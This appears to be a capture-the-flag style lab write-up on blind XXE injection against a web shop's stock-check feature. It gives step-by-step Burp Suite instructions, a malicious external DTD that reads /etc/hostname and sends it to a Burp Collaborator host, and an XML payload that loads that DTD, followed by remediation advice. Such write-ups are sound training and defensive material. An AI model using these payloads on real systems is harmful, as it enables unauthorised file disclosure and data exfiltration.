SCENARIO

The application is vulnerable to XXE out of band interaction as it has a "Check stock" feature that parses XML input but does not display the result. We will try to exfiltrate the contents of the **/etc/hostname file**.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Go to the exploit server and inject the Payload 1 into the file name field and Payload 2 into the body field of the exploit.
4. In the Stock Check request try to study it and based on that we will craft an exploit accordingly and replace the XML data with our Payload 3 and send the request.
5. Replace the XML body of the request in BurpSuite’s Repeater with the Payload and send the request.
6. Now click Poll Now in the BurpSuite’s Collaborator Client and we see that we successfully forced the application to make an out of band interaction.
7. We can go to BurpSuite’s Collaborator Client and in the HTTP request go to Request to Collaborator and in there we find a parameter named x and the value of that token is the secret key.

**PAYLOAD**

1. /exploit.dtd
2. <!ENTITY % file SYSTEM "file:///etc/hostname">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://hxing0ff9krozp0kjodpp70nrex7lw.burpcollaborator.net/?x=%file;'>">

%eval;

%exfil;

1. <?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker [<!ENTITY % xxe SYSTEM "https://exploit-0aed00e904f0d91a80ff1b030121008c.exploit-server.net/exploit.dtd"> %xxe;]>

<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

# REMEDIATION

1. **Disable External Entity Processing:** This is one of the most effective ways to prevent XXE attacks. Depending on your XML library or framework, this can often be done with a single setting or configuration change.
2. **Patch and Update:** Ensure that you are using the latest versions of XML libraries and parsers. Newer versions of libraries often have security patches for known vulnerabilities.
3. **Network Restrictions**: If possible, restrict server-side XML parsers from making arbitrary network requests. A properly configured firewall or similar network traffic monitor can block outbound traffic from the server to unknown domains.
4. **Disable DTDs:** Disable Document Type Definitions (DTDs) in the XML parser configuration.
5. **Secure Configuration:** Ensure that your XML parsers and processors are in a secure configuration, which means disabling or restricting any features you don't need, like inline document type definitions or external entities.
6. **Error Handling:** Ensure that errors thrown by the XML parser don't leak server internals or provide any additional information that might assist an attacker.
7. **Input Validation:** Validate and sanitize all input, especially XML data, to ensure only expected data formats are processed.